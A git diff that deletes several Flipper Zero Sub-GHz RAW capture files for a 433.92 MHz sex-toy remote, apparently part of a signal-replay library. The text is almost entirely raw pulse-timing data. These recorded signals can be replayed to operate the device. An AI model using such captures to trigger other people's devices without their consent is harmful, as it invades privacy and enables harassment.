-66 5111 -130 7895 -66 3063 -66 5051 -98 821 -66 2955 -132 8807 -132 359 -66 2173 -100 11215 -66 5119 -100 401 -66 4701 -68 1927 -66 993 -98 265 -98 395 -198 1147 -66 13127 -66 3551 -130 10995 -66 1887 -98 3307 -66 3821 -66 9957 -100 1293 -100 895 -100 3029 -66 1511 -100 195 -66 3027 -66 5373 -66 1797 -132 5115 -64 593 -66 229 -196 2845 -132 1499 -66 923 -100 1147 -66 1083 -132 525 -68 3973 -66 1749 -66 7895 -100 5191 -68 2253 -164 1617 -130 527 -132 3215 -134 1657 -100 6047 -68 2553 -66 2347 -100 1939 -98 4109 -98 1247 -264 5367 -100 3237 -68 2361 -132 983 -66 6771 -68 5303 -66 1997 -100 3679 -66 5983 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_2.sub deleted file mode 100644 index 42f542c66..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_2.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 365 4301 15227 -100 27593 -100 5303 -98 9775 -68 3187 -66 28153 -66 3267 -130 1321 -98 629 -19152 163 -266 397 -198 97 -534 163 -66 133 -98 97 -266 661 -100 523 -232 21411 -100 691 -98 20787 -808 429 -852 411 -856 397 -864 421 -848 441 -846 421 -820 451 -814 1715 -386 449 -416 441 -394 421 -448 413 -420 437 -822 443 -858 397 -432 415 -418 417 -452 407 -426 411 -414 447 -812 445 -416 447 -416 397 -434 415 -874 399 -866 419 -416 409 -850 449 -382 445 -848 413 -416 445 -846 415 -416 417 -848 439 -844 425 -850 413 -852 409 -880 417 -820 441 -848 387 -888 385 -878 417 -858 1667 -418 437 -426 441 -382 445 -420 427 -408 415 -872 407 -842 453 -386 441 -442 381 -446 419 -410 449 -844 437 -388 447 -414 409 -436 415 -842 441 -410 415 -852 405 -454 409 -842 433 -430 417 -842 441 -410 415 -840 441 -408 445 -856 399 -862 419 -846 439 -848 421 -818 423 -876 411 -846 413 -842 427 -868 421 -820 1703 -436 387 -446 413 -442 409 -418 417 -418 441 -840 419 -848 439 -388 447 -416 441 -396 421 -448 413 -856 397 -432 415 -416 415 -442 411 -842 427 -410 447 -844 439 -416 417 -846 441 -418 417 -844 435 -388 445 -844 403 -424 445 -846 403 -848 447 -834 413 -856 427 -836 421 -844 437 -846 129 -858 425 -854 163 -860 1437 -426 381 -452 423 -410 415 -432 415 -418 441 -838 419 -848 439 -416 417 -418 441 -410 415 -446 415 -854 411 -414 423 -440 417 -416 441 -840 419 -418 407 -850 451 -384 437 -868 421 -414 419 -854 415 -416 451 -816 441 -418 417 -848 439 -814 449 -824 411 -864 409 -888 415 -844 449 -842 399 -850 411 -864 409 -840 1693 -426 425 -442 379 -452 427 -418 445 -388 411 -876 401 -850 415 -454 403 -394 473 -382 451 -390 435 -864 419 -416 409 -420 411 -448 415 -832 441 -416 415 -836 417 -452 409 -852 411 -442 431 -812 449 -418 443 -816 415 -440 429 -812 449 -854 387 -842 453 -856 413 -812 451 -856 409 -866 409 -848 409 -850 415 -842 1709 -422 427 -398 437 -414 451 -386 439 -412 415 -872 409 -838 449 -382 441 -414 445 -406 443 -416 419 -846 439 -388 447 -416 453 -400 427 -840 421 -416 409 -852 455 -412 413 -848 447 -382 447 -850 413 -416 419 -846 445 -388 445 -120132 67 -366 131 -134 297 -296 229 -696 263 -66 24991 -98 11469 -198 16121 -66 29063 -98 19567 -132 5591 -100 48891 -66 8537 -66 397 -68 9773 -68 10561 -66 24537 -100 1121 -68 19931 -98 18935 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_3.sub deleted file mode 100644 index f4ec095a1..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_3.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 13321 -100 1957 1089 23577 -100 3923 -66 13161 -98 3161 -66 9255 -100 21419 -100 20447 -98 29863 -64 4083 -98 65 -68 16181 -66 9621 -876 397 -850 415 -852 425 -838 451 -850 409 -846 419 -856 379 -886 1681 -428 425 -408 417 -450 389 -450 403 -426 441 -844 399 -854 415 -450 407 -426 409 -448 417 -428 395 -866 417 -420 415 -470 389 -442 383 -874 425 -410 415 -850 403 -460 387 -874 411 -424 425 -872 413 -420 395 -868 417 -418 407 -852 415 -880 399 -852 415 -852 425 -872 381 -876 411 -846 425 -850 417 -846 417 -854 1663 -450 403 -426 409 -448 411 -422 411 -446 415 -870 381 -882 401 -430 389 -446 417 -416 433 -426 409 -876 395 -848 415 -442 411 -418 413 -884 407 -844 425 -854 415 -444 407 -846 423 -426 405 -876 397 -426 409 -842 425 -414 443 -846 437 -848 387 -884 389 -872 409 -862 415 -848 403 -852 417 -854 425 -840 419 -848 1691 -440 429 -418 415 -416 407 -456 413 -414 417 -868 381 -882 415 -410 425 -444 413 -412 425 -426 409 -878 397 -850 415 -450 403 -426 409 -846 425 -852 415 -886 389 -442 383 -884 401 -432 417 -846 407 -456 387 -872 409 -436 387 -876 409 -852 415 -844 427 -850 413 -854 425 -840 417 -848 437 -844 423 -854 411 -836 1697 -446 383 -450 427 -426 407 -418 443 -418 411 -872 407 -826 449 -416 419 -428 399 -436 417 -448 389 -852 423 -876 411 -414 411 -444 385 -866 411 -882 399 -860 417 -420 405 -852 415 -418 415 -850 437 -418 415 -850 441 -418 415 -846 439 -814 451 -850 417 -846 407 -852 447 -846 399 -854 415 -852 427 -842 417 -850 1689 -452 401 -424 443 -412 419 -426 411 -446 411 -854 415 -836 415 -416 447 -418 415 -410 425 -412 413 -852 451 -834 413 -440 421 -426 397 -864 417 -842 437 -836 423 -398 469 -810 461 -390 443 -842 405 -422 447 -810 465 -386 445 -844 437 -846 421 -818 423 -876 419 -818 443 -844 425 -850 413 -856 427 -840 421 -844 1693 -406 423 -426 443 -410 413 -424 425 -412 443 -858 397 -860 415 -412 441 -408 441 -416 421 -428 411 -844 427 -852 411 -422 431 -398 439 -844 421 -854 411 -856 429 -406 409 -874 429 -406 417 -874 399 -430 415 -848 409 -436 419 -130318 133 -332 197 -168 199 -694 131 -334 465 -166 99 -68 65651 -66 8049 -66 567 -134 1193 -66 5349 -66 7595 -68 17643 -66 3955 -66 17143 -66 1695 -66 15713 -100 4231 -66 9633 -66 963 -66 1843 -130 161 -98 24323 -100 4835 -66 14669 -68 2255 -66 165 -100 11389 -100 5129 -66 2753 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_4.sub deleted file mode 100644 index c28f357cd..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 10390 32229 -98 13127 -66 11053 -66 433 -98 8469 -102 2025 -66 15117 -100 3627 -66 2869 -98 197 -66 6445 -64 4981 -66 12401 -66 5067 -100 2879 -98 10919 -826 415 -870 223 -60 121 -860 411 -838 419 -850 439 -846 389 -854 421 -878 1681 -418 415 -456 399 -430 417 -416 417 -452 403 -856 411 -856 399 -430 417 -414 419 -450 405 -424 443 -844 399 -850 415 -452 403 -424 407 -874 399 -852 413 -862 411 -414 447 -824 411 -446 421 -854 411 -410 423 -882 383 -450 407 -854 413 -864 409 -848 407 -852 447 -844 397 -852 413 -852 423 -872 409 -860 417 -846 1689 -418 431 -430 407 -418 415 -452 409 -442 383 -846 437 -860 417 -416 409 -434 417 -448 385 -854 423 -442 383 -450 429 -430 407 -844 423 -428 407 -416 445 -848 411 -416 445 -846 413 -418 415 -848 437 -388 445 -846 401 -424 447 -842 399 -880 383 -884 387 -876 413 -814 441 -846 425 -852 413 -854 397 -866 417 -848 1691 -418 397 -450 407 -444 413 -414 439 -432 387 -878 409 -846 415 -416 449 -426 415 -446 385 -876 411 -422 449 -416 385 -446 415 -836 423 -446 413 -412 421 -850 413 -444 395 -848 415 -450 407 -850 415 -452 403 -822 445 -418 425 -836 415 -866 413 -868 411 -834 411 -850 449 -834 413 -846 429 -852 413 -854 395 -868 1677 -424 445 -416 411 -424 441 -416 417 -452 401 -854 413 -852 397 -438 417 -416 417 -452 403 -848 417 -442 407 -416 445 -418 399 -866 417 -416 407 -456 411 -846 409 -424 423 -872 409 -430 417 -846 407 -454 379 -878 409 -422 447 -814 417 -846 429 -852 415 -838 455 -844 409 -852 449 -844 401 -848 413 -868 411 -854 1683 -420 411 -444 415 -420 393 -442 411 -416 445 -846 413 -844 425 -412 445 -416 409 -440 417 -848 409 -436 415 -450 421 -416 409 -850 415 -452 403 -428 409 -844 429 -424 441 -842 435 -388 445 -846 403 -424 445 -844 397 -424 443 -844 401 -872 423 -850 419 -846 419 -856 411 -844 425 -856 411 -838 423 -842 419 -848 1693 -452 401 -430 405 -442 411 -424 423 -444 413 -852 395 -862 419 -418 439 -430 387 -446 413 -838 425 -442 381 -450 393 -442 413 -874 399 -424 445 -414 407 -866 419 -416 411 -852 415 -416 445 -844 411 -416 451 -816 443 -418 415 -116086 131 -98 133 -964 97 -68 993 -68 463 -66 48315 -68 1693 -100 44965 -66 5809 -66 569 -66 4433 -66 429 -66 7701 -100 4301 -98 33575 -68 7681 -66 22745 -134 6391 -66 2669 -66 18567 -66 5005 -100 73727 -100 10705 -100 13359 -66 17521 -66 4155 -68 8045 -100 4045 -64 13695 -98 1123 -64 1735 -RAW_Data: -100 4723 -68 21883 -132 3675 -98 989 -66 11775 -66 30869 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_1.sub deleted file mode 100644 index afb7e4769..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_1.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 2109 1310 74509 -66 3089 -64 15463 -98 7729 -98 8101 -68 20831 -66 28429 -66 21043 -66 10529 -66 8731 -828 415 -852 405 -852 451 -844 401 -852 413 -854 397 -866 417 -840 1699 -408 425 -440 415 -412 439 -410 441 -416 421 -856 409 -856 399 -430 409 -448 417 -400 435 -410 447 -414 427 -838 421 -418 439 -428 415 -418 417 -856 425 -840 447 -420 427 -836 421 -418 439 -844 421 -418 437 -824 451 -384 445 -848 415 -844 421 -868 415 -836 413 -856 425 -838 439 -824 451 -842 437 -844 419 -820 1701 -440 385 -444 415 -420 435 -430 409 -416 417 -850 439 -846 421 -398 437 -842 429 -426 411 -414 437 -436 415 -848 411 -424 423 -446 411 -422 429 -820 451 -848 421 -422 397 -862 419 -418 439 -840 419 -418 443 -822 417 -418 451 -818 443 -844 425 -854 411 -834 441 -856 395 -866 421 -848 439 -846 419 -820 421 -876 1693 -384 439 -414 445 -414 419 -426 441 -382 451 -850 413 -842 419 -428 411 -842 427 -424 443 -384 437 -440 415 -850 407 -422 421 -446 415 -418 433 -852 413 -834 445 -406 435 -842 421 -410 447 -842 403 -422 447 -844 431 -388 445 -844 403 -850 449 -820 419 -874 409 -860 419 -846 401 -852 413 -856 425 -838 419 -850 1697 -438 431 -420 417 -414 409 -458 417 -416 415 -868 381 -882 409 -410 415 -886 399 -430 415 -416 417 -452 403 -848 415 -442 411 -416 445 -414 409 -872 407 -864 419 -412 409 -864 419 -418 407 -852 449 -416 407 -868 417 -416 411 -848 415 -844 431 -852 413 -864 409 -872 409 -838 419 -846 441 -846 419 -858 411 -854 1681 -426 427 -410 415 -452 385 -452 403 -424 441 -844 399 -848 417 -452 407 -854 413 -410 457 -388 445 -416 419 -862 411 -418 449 -390 439 -412 415 -886 399 -828 451 -414 413 -852 415 -418 449 -856 413 -418 417 -848 435 -388 445 -844 405 -848 449 -852 419 -814 449 -844 413 -848 423 -852 417 -846 417 -824 443 -846 1681 -418 419 -450 403 -426 405 -412 445 -422 427 -838 419 -848 433 -388 445 -846 401 -424 443 -414 413 -420 425 -838 453 -420 399 -432 417 -446 383 -868 411 -856 423 -442 381 -884 395 -436 417 -846 409 -418 441 -842 407 -438 417 -124284 133 -850 361 -66 265 -100 19725 -66 33663 -68 465 -66 10291 -66 1343 -66 26927 -66 565 -98 27417 -66 10861 -66 6885 -100 19663 -66 6397 -100 9233 -100 763 -66 431 -66 1989 -66 2699 -66 7019 -66 2543 -98 43795 -132 10513 -66 16849 -96 5637 -132 2819 -98 42293 -132 199 -100 13591 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_2.sub deleted file mode 100644 index d0304a462..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 40464 2135 -66 3319 -102 925 -66 867 -66 559 -130 4549 -98 7327 -64 163 -66 829 -100 5211 -132 4021 -66 8349 -66 957 -68 3845 -66 4865 -132 1121 -66 359 -100 2393 -134 14837 -100 1655 -66 5501 -100 1277 -66 1343 -64 4505 -66 3281 -66 1227 -66 1931 -66 1059 -100 497 -98 8359 -66 8589 -98 19597 -66 2541 -100 929 -132 495 -66 931 -166 2735 -98 3385 -66 4765 -66 2587 -66 131 -98 2465 -100 4845 -130 3809 -100 727 -66 2123 -68 2765 -66 327 -66 1763 -66 8013 -132 927 -98 887 -130 2009 -68 5167 -134 863 -66 6327 -164 229 -64 2559 -66 9829 -100 557 -134 8765 -66 3447 -100 591 -98 4917 -66 555 -66 7509 -100 769 -166 2047 -100 493 -132 689 -98 3885 -864 413 -876 407 -874 391 -840 417 -852 423 -840 413 -878 407 -838 1677 -448 383 -450 409 -444 411 -414 405 -460 387 -876 409 -854 415 -418 443 -850 411 -418 415 -418 437 -428 385 -876 417 -428 411 -442 413 -418 429 -854 381 -900 381 -450 431 -852 419 -414 415 -854 425 -410 415 -884 399 -430 385 -876 417 -862 413 -844 423 -852 413 -852 425 -836 451 -850 409 -846 421 -852 387 -874 1687 -418 441 -410 415 -450 421 -416 407 -454 415 -844 435 -848 385 -450 405 -856 413 -416 433 -428 407 -844 427 -428 409 -448 409 -438 417 -848 407 -420 423 -840 447 -416 409 -876 385 -456 399 -858 419 -418 409 -868 419 -414 417 -862 413 -846 423 -854 411 -856 397 -868 417 -848 435 -846 419 -858 383 -870 409 -838 1697 -446 407 -436 415 -418 417 -454 405 -426 409 -846 429 -850 415 -452 405 -850 415 -442 397 -424 445 -844 433 -388 443 -416 413 -424 423 -872 407 -436 419 -842 409 -436 415 -842 441 -410 417 -874 399 -436 417 -842 409 -438 415 -840 441 -836 421 -848 437 -846 419 -836 415 -866 413 -854 425 -840 419 -848 441 -844 1705 -420 421 -418 407 -424 443 -382 451 -428 417 -840 449 -810 429 -426 411 -842 431 -426 441 -380 445 -850 415 -416 451 -418 409 -444 411 -820 437 -432 415 -844 437 -430 417 -846 411 -420 423 -836 453 -388 439 -842 419 -416 407 -886 419 -842 433 -846 385 -852 421 -876 419 -818 441 -844 425 -818 445 -854 399 -860 1705 -388 443 -416 419 -434 427 -408 415 -452 421 -852 387 -838 441 -436 419 -842 409 -440 417 -416 453 -852 387 -444 415 -416 433 -410 445 -814 427 -424 441 -840 433 -388 445 -844 403 -424 445 -842 435 -388 445 -844 405 -424 445 -842 405 -848 415 -852 423 -842 453 -820 443 -846 419 -852 417 -842 407 -850 417 -842 1721 -420 423 -426 445 -RAW_Data: -412 413 -418 411 -446 415 -854 429 -836 419 -420 437 -862 419 -414 411 -418 411 -876 419 -428 427 -408 415 -448 417 -820 419 -446 415 -856 397 -432 415 -840 441 -410 415 -840 441 -408 413 -850 453 -406 425 -117478 95 -2598 231 -634 65 -66 229 -200 363 -264 199 -100 97 -334 695 -66 2719 -134 4005 -100 1263 -66 1993 -68 2243 -100 1891 -66 17249 -98 65 -164 6955 -132 97 -196 395 -66 853 -66 6089 -130 3223 -100 2009 -66 6371 -134 499 -68 6903 -98 2799 -66 3833 -98 865 -100 899 -66 1125 -134 7509 -66 5371 -100 465 -66 11855 -66 1865 -66 4745 -66 5393 -64 5627 -98 6235 -66 11717 -98 2245 -66 3187 -66 997 -168 1393 -66 14023 -98 10045 -66 833 -100 3721 -98 21269 -98 2345 -66 6829 -66 6101 -132 427 -66 5255 -66 1293 -68 2459 -98 5331 -68 6097 -64 359 -264 2367 -66 927 -132 11345 -98 3069 -132 7543 -66 1029 -132 3675 -66 7743 -132 133 -66 5303 -66 3013 -100 5299 -132 2971 -100 1493 -134 791 -100 3819 -98 3817 -66 6659 -100 4551 -68 5491 -66 12477 -100 4397 -66 6709 -130 889 -68 4581 -68 131 -100 3689 -66 335 -132 1395 -68 3281 -100 589 -66 1321 -66 2937 -102 601 -66 2383 -100 8123 -132 7623 -66 2635 -66 4137 -66 1773 -98 6369 -66 6093 -132 4333 -130 1217 -196 4581 -66 99 -200 1261 -68 1835 -134 7265 -98 4113 -66 459 -66 231 -68 2135 -66 2681 -66 6289 -66 3091 -132 657 -64 2759 -166 1323 -132 565 -132 793 -132 2237 -100 4351 -100 5203 -68 3085 -66 8031 -100 3157 -68 627 -66 12183 -166 2763 -98 4745 -164 7335 -100 2449 -132 4179 -100 8317 -132 5385 -68 1997 -66 12483 -98 589 -66 3271 -164 3311 -100 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_3.sub deleted file mode 100644 index 347d9842e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 4415 3582 1413 -100 16307 -66 6331 -64 2201 -66 3187 -66 731 -198 1345 -66 26537 -98 299 -100 565 -68 2289 -66 11697 -66 893 -130 2301 -66 7547 -66 955 -98 8637 -66 983 -132 2721 -68 597 -66 3827 -132 227 -100 4575 -66 2791 -66 11311 -826 427 -840 417 -848 439 -846 421 -854 383 -884 399 -866 415 -844 1693 -450 403 -424 407 -418 447 -390 435 -434 417 -846 415 -862 409 -418 413 -882 409 -422 413 -418 439 -860 415 -416 409 -456 389 -442 383 -886 413 -410 425 -872 383 -456 399 -866 417 -418 407 -856 415 -416 443 -850 411 -416 415 -850 439 -844 421 -838 413 -884 389 -874 411 -844 413 -876 395 -852 413 -852 423 -874 1665 -418 443 -418 411 -446 413 -418 425 -444 415 -846 399 -880 383 -452 407 -852 415 -450 399 -426 411 -876 399 -850 415 -450 403 -428 409 -844 427 -852 417 -870 389 -444 415 -854 425 -442 383 -884 367 -460 387 -874 417 -430 397 -868 417 -848 435 -848 387 -854 423 -876 411 -850 411 -848 425 -852 413 -854 395 -868 1701 -420 415 -418 405 -460 387 -444 417 -452 401 -856 413 -836 411 -446 415 -864 381 -446 419 -442 409 -844 425 -854 413 -452 397 -450 379 -882 385 -884 389 -874 411 -418 425 -838 417 -422 449 -836 413 -448 417 -856 411 -418 415 -848 439 -848 423 -856 381 -882 399 -862 417 -848 435 -846 385 -858 413 -882 397 -870 1671 -422 443 -418 409 -438 417 -450 385 -452 405 -852 413 -870 379 -450 393 -884 387 -446 415 -412 437 -848 389 -884 387 -446 417 -444 409 -848 425 -852 413 -838 417 -448 387 -884 387 -444 415 -872 385 -446 415 -866 411 -416 417 -872 381 -882 393 -868 413 -878 411 -846 421 -856 381 -884 397 -866 417 -848 405 -882 1675 -450 385 -452 403 -426 441 -414 411 -424 425 -838 417 -848 439 -418 415 -846 441 -420 413 -420 449 -832 413 -844 429 -424 409 -446 413 -850 413 -844 425 -854 415 -440 395 -880 385 -444 409 -878 395 -426 441 -842 399 -426 409 -876 395 -870 385 -880 411 -846 415 -864 411 -846 425 -852 413 -868 381 -876 409 -852 1695 -428 405 -416 445 -416 411 -444 383 -448 393 -868 415 -870 409 -410 435 -846 421 -412 445 -416 409 -868 417 -846 399 -422 443 -418 409 -888 415 -844 401 -850 413 -450 405 -852 415 -452 401 -850 415 -450 403 -854 413 -418 433 -132490 67 -632 133 -1432 761 -134 167 -100 65 -164 163 -66 163 -98 4427 -66 8293 -100 12145 -66 525 -68 6299 -100 7871 -100 2311 -132 8817 -66 7233 -132 5225 -66 4143 -66 1453 -66 5915 -66 11751 -66 12201 -100 -RAW_Data: 831 -68 1559 -100 2187 -98 5645 -262 195 -64 1683 -100 497 -66 17841 -66 1823 -100 1555 -66 46271 -66 427 -66 2891 -66 1095 -132 2155 -100 1065 -66 6315 -66 529 -98 1237 -66 963 -66 2239 -98 5625 -64 7525 -66 2883 -66 9283 -66 7685 -98 3079 -66 1357 -66 7121 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_4.sub deleted file mode 100644 index ca448054f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 9278 12567 -100 5183 -66 7505 -66 4007 -100 651 -66 5377 -66 567 -132 1247 -98 4973 -66 1811 -66 631 -66 4617 -66 2159 -68 4181 -100 2917 -66 1027 -66 231 -166 3259 -66 3881 -66 623 -134 11405 -98 7155 -66 21453 -100 5507 -100 1793 -100 759 -98 3993 -134 1027 -100 7147 -66 5287 -100 4247 -842 425 -858 411 -854 399 -862 417 -848 401 -850 415 -888 387 -872 1691 -414 411 -424 425 -444 411 -420 427 -396 435 -844 429 -848 415 -450 405 -856 413 -416 431 -410 445 -846 397 -854 415 -416 433 -426 411 -878 397 -850 415 -854 425 -444 381 -884 397 -438 417 -846 415 -434 395 -868 415 -420 439 -862 417 -844 397 -882 417 -850 389 -876 409 -850 413 -846 423 -850 415 -854 395 -870 1677 -424 445 -382 449 -428 395 -468 381 -450 391 -884 389 -872 411 -418 425 -840 417 -420 437 -860 383 -448 411 -426 423 -446 413 -836 411 -446 415 -452 397 -836 415 -450 401 -852 415 -452 401 -852 415 -454 401 -854 411 -412 423 -846 417 -898 381 -882 401 -864 417 -848 397 -850 417 -886 387 -872 411 -846 415 -846 1681 -452 389 -450 407 -426 409 -416 449 -422 399 -860 419 -848 441 -388 445 -848 405 -424 445 -844 433 -420 417 -416 407 -458 387 -874 411 -422 427 -410 415 -886 399 -436 417 -842 437 -426 387 -874 409 -422 443 -846 409 -432 387 -876 419 -854 413 -846 419 -852 411 -856 393 -868 417 -848 441 -814 417 -886 389 -874 1681 -416 417 -420 435 -434 417 -418 415 -418 433 -854 411 -854 395 -470 381 -884 399 -436 415 -848 409 -454 389 -442 415 -420 431 -850 417 -416 417 -450 403 -852 411 -410 423 -870 423 -416 409 -854 413 -410 423 -850 415 -452 401 -856 411 -868 379 -884 415 -838 417 -846 429 -854 413 -834 411 -850 435 -862 419 -844 1651 -454 391 -452 407 -410 445 -412 407 -458 387 -876 411 -846 415 -418 415 -882 411 -418 415 -848 439 -416 417 -418 441 -410 415 -850 405 -454 409 -418 417 -856 421 -444 381 -852 403 -456 409 -846 435 -428 417 -842 409 -432 385 -878 411 -850 449 -842 399 -850 415 -868 411 -834 411 -886 417 -832 417 -844 427 -850 1703 -418 417 -410 457 -418 417 -416 409 -438 415 -848 437 -826 419 -446 419 -822 443 -416 415 -846 441 -418 417 -418 439 -412 415 -850 407 -454 409 -418 417 -854 427 -408 417 -850 409 -438 413 -852 439 -394 423 -844 439 -430 387 -135524 131 -230 65 -198 299 -100 167 -66 167 -68 231 -64 361 -132 793 -100 7647 -166 18165 -98 1057 -66 2369 -66 3617 -66 7295 -66 13665 -66 4613 -68 3219 -RAW_Data: -66 4313 -66 4059 -66 3803 -66 3853 -66 1363 -66 3865 -130 4329 -98 14349 -132 2453 -100 2957 -132 8791 -98 3763 -66 11289 -134 7335 -100 4509 -66 4421 -66 1553 -98 9761 -134 2895 -132 1445 -64 9243 -132 2853 -130 4069 -66 555 -66 721 -66 1019 -100 1447 -66 2473 -100 12889 -100 14967 -66 4123 -66 7845 -100 2341 -68 7955 -100 1387 -68 761 -66 929 -66 97 -134 399 -68 863 -98 663 -68 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_1.sub deleted file mode 100644 index 593ca02cb..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3585 2020 2745 -66 10341 -98 3521 -66 5395 -68 8591 -98 5777 -66 693 -66 595 -66 11141 -66 3845 -68 19535 -100 6145 -66 7581 -164 467 -100 3349 -100 2319 -100 22595 -98 427 -66 1215 -132 293 -98 1277 -66 2509 -66 267 -132 2627 -66 295 -98 18029 -132 2267 -66 967 -858 375 -878 365 -922 351 -912 361 -904 379 -888 369 -876 389 -882 1671 -434 413 -444 385 -436 399 -444 413 -446 409 -838 415 -874 407 -412 413 -876 409 -412 445 -414 411 -412 445 -856 399 -436 417 -416 417 -452 405 -850 417 -866 411 -452 389 -854 425 -444 411 -838 425 -440 413 -854 397 -434 413 -850 453 -832 411 -838 427 -850 415 -854 423 -836 447 -848 411 -846 423 -852 413 -870 1671 -442 417 -416 417 -418 435 -426 411 -446 411 -848 413 -842 429 -852 415 -416 435 -426 407 -416 443 -420 411 -878 411 -416 409 -448 413 -418 429 -820 413 -882 399 -436 417 -848 407 -458 385 -876 411 -420 411 -874 413 -418 409 -878 419 -818 443 -842 427 -852 417 -844 409 -830 451 -846 401 -854 413 -868 379 -912 1681 -388 441 -444 415 -420 425 -410 447 -414 407 -864 417 -848 405 -850 413 -452 403 -424 443 -414 411 -420 423 -842 353 -494 411 -424 441 -418 383 -876 423 -836 419 -418 441 -840 419 -418 93 -64 281 -838 419 -418 453 -830 415 -416 417 -882 409 -838 423 -854 411 -856 397 -864 419 -846 435 -814 417 -854 425 -840 439 -826 1241 -400 427 -418 417 -450 393 -434 415 -418 417 -854 423 -840 417 -850 439 -388 447 -414 451 -406 425 -410 445 -856 139 -404 411 -444 413 -440 133 -68 201 -862 429 -838 259 -454 409 -836 451 -416 405 -850 415 -436 365 -900 429 -426 409 -870 395 -870 419 -826 411 -870 409 -838 447 -844 413 -842 429 -854 411 -868 379 -886 989 -422 399 -436 417 -416 417 -452 405 -422 441 -844 401 -850 413 -852 423 -446 413 -418 297 -66 445 -416 407 -870 419 -416 411 -426 425 -478 387 -854 399 -928 331 -442 429 -838 419 -418 451 -832 413 -418 137 -824 437 -388 445 -848 401 -870 425 -824 445 -856 397 -864 417 -848 403 -882 385 -854 421 -876 411 -846 741 -418 429 -428 375 -454 413 -448 399 -436 417 -842 409 -868 419 -846 439 -420 417 -416 175 -406 427 -408 415 -850 405 -458 387 -446 415 -442 429 -846 421 -816 423 -446 415 -866 287 -546 423 -850 417 -448 389 -852 427 -408 415 -124914 131 -3714 593 -98 97 -528 295 -166 163 -228 22805 -66 1265 -66 10895 -100 3193 -64 15541 -66 6837 -98 2767 -98 11223 -98 361 -66 27333 -66 1251 -134 7071 -68 -RAW_Data: 1299 -100 1331 -166 1253 -162 1281 -200 1123 -66 12117 -66 3945 -66 1955 -66 301 -68 565 -66 20215 -98 20483 -134 2549 -134 1663 -66 7155 -66 8121 -66 8405 -132 5237 -66 2761 -166 2021 -66 14373 -66 2725 -98 6845 -98 1325 -98 1183 -66 465 -66 4715 -100 1503 -66 2561 -132 3223 -66 1331 -100 97 -66 1951 -98 6541 -132 2383 -132 2391 -100 2227 -98 2421 -66 3857 -264 5001 -100 365 -68 1059 -68 2847 -66 231 -68 3279 -132 233 -134 6325 -98 2563 -100 2439 -66 1253 -66 2217 -64 129 -66 2679 -66 3629 -66 9937 